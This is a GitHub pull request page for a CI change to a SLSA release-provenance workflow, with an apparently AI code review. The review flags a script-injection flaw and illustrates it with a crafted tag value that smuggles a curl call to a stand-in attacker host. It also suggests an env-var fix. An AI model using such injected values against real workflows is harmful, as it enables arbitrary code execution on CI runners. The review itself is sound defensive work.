Skip to content

ci(slsa): dispatchable release-provenance + upload-tag-name#706

Merged
blove merged 1 commit into
mainfrom
blove/slsa-dispatchable
Jun 19, 2026
Merged

ci(slsa): dispatchable release-provenance + upload-tag-name#706
blove merged 1 commit into
mainfrom
blove/slsa-dispatchable

Conversation

@blove

@blove blove commented Jun 19, 2026

Copy link
Copy Markdown
Contributor

Summary

Makes the SLSA release-provenance flow actually verifiable (Approach 2 — go beyond dawn to score OSSF Signed-Releases).

  • Adds workflow_dispatch with a tag input.
  • Passes upload-tag-name to the SLSA generator so the *.intoto.jsonl uploads to the named release even when github.ref is a branch (dispatch) — also sidesteps the "release events run the workflow from the tag commit" trap that made the prior fix untestable.
  • Builds from the tag's code (checkout ref) so tarballs match what shipped.

After merge: dispatch against v0.0.50 to confirm both jobs succeed and the release gets tarballs + provenance, then it's proven for v0.0.51+.

Test Plan

  • CI green
  • gh workflow run release-provenance.yml --ref main -f tag=v0.0.50 → build-artifacts + provenance both succeed
  • v0.0.50 release gains *.tgz + *.intoto.jsonl; next Scorecard run scores Signed-Releases

🤖 Generated with Claude Code

Adds workflow_dispatch(tag) and passes upload-tag-name to the SLSA generator
so the attestation uploads to the right release regardless of github.ref.
This lets the flow be verified by dispatching against an existing tag
(e.g. v0.0.50) from main — without blind-firing a real release, and
sidestepping the tag-commit-binding that made earlier fixes untestable.
Also pins the build to the tag's code (checkout ref) so the tarballs match
what shipped.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@blove blove enabled auto-merge (squash) June 19, 2026 22:01
@vercel

vercel Bot commented Jun 19, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
threadplane Ready Ready Preview, Comment Jun 19, 2026 10:03pm

Request Review

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated approval: this PR received an intelligent (AI) code review. See the review comments on this PR.

@github-actions

github-actions Bot commented Jun 19, 2026

Copy link
Copy Markdown
Contributor

Claude finished @blove's task in 1m 37s —— View job


Review complete

  • Gather context
  • Read full workflow file
  • Review diff for correctness, security, and best practices
  • Post findings

Overall: The approach is correct — workflow_dispatch + upload-tag-name is the right way to make SLSA provenance verifiable independent of release event timing, and checkout ref: <tag> ensures tarballs match shipped code. One security issue to fix before merge.

⚠️ Script injection (line 40) — must fix

inputs.tag is interpolated directly into a run: shell command via ${{ }}. Anyone with write access who dispatches with a crafted tag (e.g. v0.0.50$(curl evil.com)) gets arbitrary code execution in a runner that holds contents: write. This is the canonical injection pattern GitHub's hardening guide warns against — especially ironic in a SLSA provenance workflow.

Fix: bind user input to an env var, read it from the env in the shell. See inline comment for a ready-to-apply suggestion. Fix this →

Everything else looks good:

  • upload-tag-name: ${{ needs.build-artifacts.outputs.tag }} correctly routes provenance to the named release for dispatch runs.
  • checkout ref: ${{ steps.tag.outputs.tag }} is safe (action parameter, not a shell command).
  • Pinned action hashes are intact.
  • || precedence in GH Actions expressions is correct — empty string is falsy, so dispatch path falls through to inputs.tag as intended.
  • contents: write is scoped to build-artifacts only; provenance inherits it via the SLSA generator's reusable workflow, which is appropriate.

steps:
- name: Resolve target tag
id: tag
run: echo "tag=${{ github.event.release.tag_name || inputs.tag }}" >> "$GITHUB_OUTPUT"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Script injection vulnerability. inputs.tag is user-controlled and is interpolated directly into the shell command via ${{ }}. Anyone with write access who dispatches this workflow with a crafted tag value (e.g. v0.0.50$(curl evil.com)) can execute arbitrary shell commands in the runner — especially problematic given the contents: write permission that follows.

The SLSA hardening guides specifically call this pattern out. Fix by binding user input to an env var and reading it from there:

Suggested change
run: echo "tag=${{ github.event.release.tag_name || inputs.tag }}" >> "$GITHUB_OUTPUT"
env:
RELEASE_TAG: ${{ github.event.release.tag_name }}
INPUT_TAG: ${{ inputs.tag }}
run: echo "tag=${RELEASE_TAG:-$INPUT_TAG}" >> "$GITHUB_OUTPUT"

Same issue applies to line 67 where steps.tag.outputs.tag is interpolated into gh release upload "..." — since that output was set from the tainted input, prefer passing it via env var there too:

        env:
          GH_TOKEN: ${{ github.token }}
          TARGET_TAG: ${{ steps.tag.outputs.tag }}
        run: gh release upload "$TARGET_TAG" --clobber -- release-artifacts/*.tgz

@blove blove merged commit 39058e3 into main Jun 19, 2026
28 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant